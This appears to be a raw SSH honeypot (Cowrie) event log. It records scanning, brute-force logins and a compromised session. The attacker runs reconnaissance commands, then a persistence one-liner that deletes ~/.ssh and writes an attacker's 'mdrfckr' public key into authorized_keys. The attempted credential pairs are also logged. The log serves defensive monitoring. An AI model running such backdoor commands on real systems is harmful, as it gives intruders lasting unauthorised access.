{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:20.580443Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:20.816200Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:21.291185Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:21.294495Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":49038,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cbdaeecb9e6","protocol":"ssh","message":"New connection: 3.132.26.232:49038 (159.203.135.109:22) [session: 0cbdaeecb9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:21.366484Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:21.371110Z","src_ip":"3.132.26.232","session":"0cbdaeecb9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:21.374859Z","src_ip":"3.132.26.232","session":"0cbdaeecb9e6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:21.515188Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:22.024692Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:22.028095Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:22.262799Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:22.736456Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:22.739018Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:22.976320Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:23.465968Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:23.469356Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:23.728332Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.6","message":"Connection lost after 19.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:23.736270Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":49062,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1018ee6267c","protocol":"ssh","message":"New connection: 3.132.26.232:49062 (159.203.135.109:22) [session: f1018ee6267c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:24.862173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:24.866525Z","src_ip":"3.132.26.232","session":"f1018ee6267c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:24.889088Z","src_ip":"3.132.26.232","session":"f1018ee6267c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:34.862363Z","src_ip":"3.132.26.232","session":"f1018ee6267c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":47654,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c1cc8d8ebac","protocol":"ssh","message":"New connection: 152.244.206.148:47654 (10.17.0.5:22) [session: 7c1cc8d8ebac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:48.476092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:48.480567Z","src_ip":"152.244.206.148","session":"7c1cc8d8ebac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:48.616873Z","src_ip":"152.244.206.148","session":"7c1cc8d8ebac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sx123456","message":"login attempt [root/sx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:49.199457Z","src_ip":"152.244.206.148","session":"7c1cc8d8ebac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:50.344979Z","src_ip":"152.244.206.148","session":"7c1cc8d8ebac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":14748,"dst_ip":"159.203.135.109","dst_port":22,"session":"0728c996651b","protocol":"ssh","message":"New connection: 118.193.33.42:14748 (159.203.135.109:22) [session: 0728c996651b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:12.271494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:12.298816Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:12.509865Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0727527122","message":"login attempt [oracle/0727527122] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:13.395297Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:13.924441Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:13.927594Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:13.931228Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:14.171896Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:14.686198Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:14.689777Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:14.927860Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:14.932850Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":15522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bb7c8c9381b","protocol":"ssh","message":"New connection: 118.193.33.42:15522 (159.203.135.109:22) [session: 4bb7c8c9381b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:15.160196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:15.164544Z","src_ip":"118.193.33.42","session":"4bb7c8c9381b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:15.381129Z","src_ip":"118.193.33.42","session":"4bb7c8c9381b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:16.305125Z","src_ip":"118.193.33.42","session":"4bb7c8c9381b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:17.537505Z","src_ip":"118.193.33.42","session":"4bb7c8c9381b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":16352,"dst_ip":"159.203.135.109","dst_port":22,"session":"524ecd5fb421","protocol":"ssh","message":"New connection: 118.193.33.42:16352 (159.203.135.109:22) [session: 524ecd5fb421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:17.747553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:17.764354Z","src_ip":"118.193.33.42","session":"524ecd5fb421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:17.982877Z","src_ip":"118.193.33.42","session":"524ecd5fb421","protocol":"ssh"}
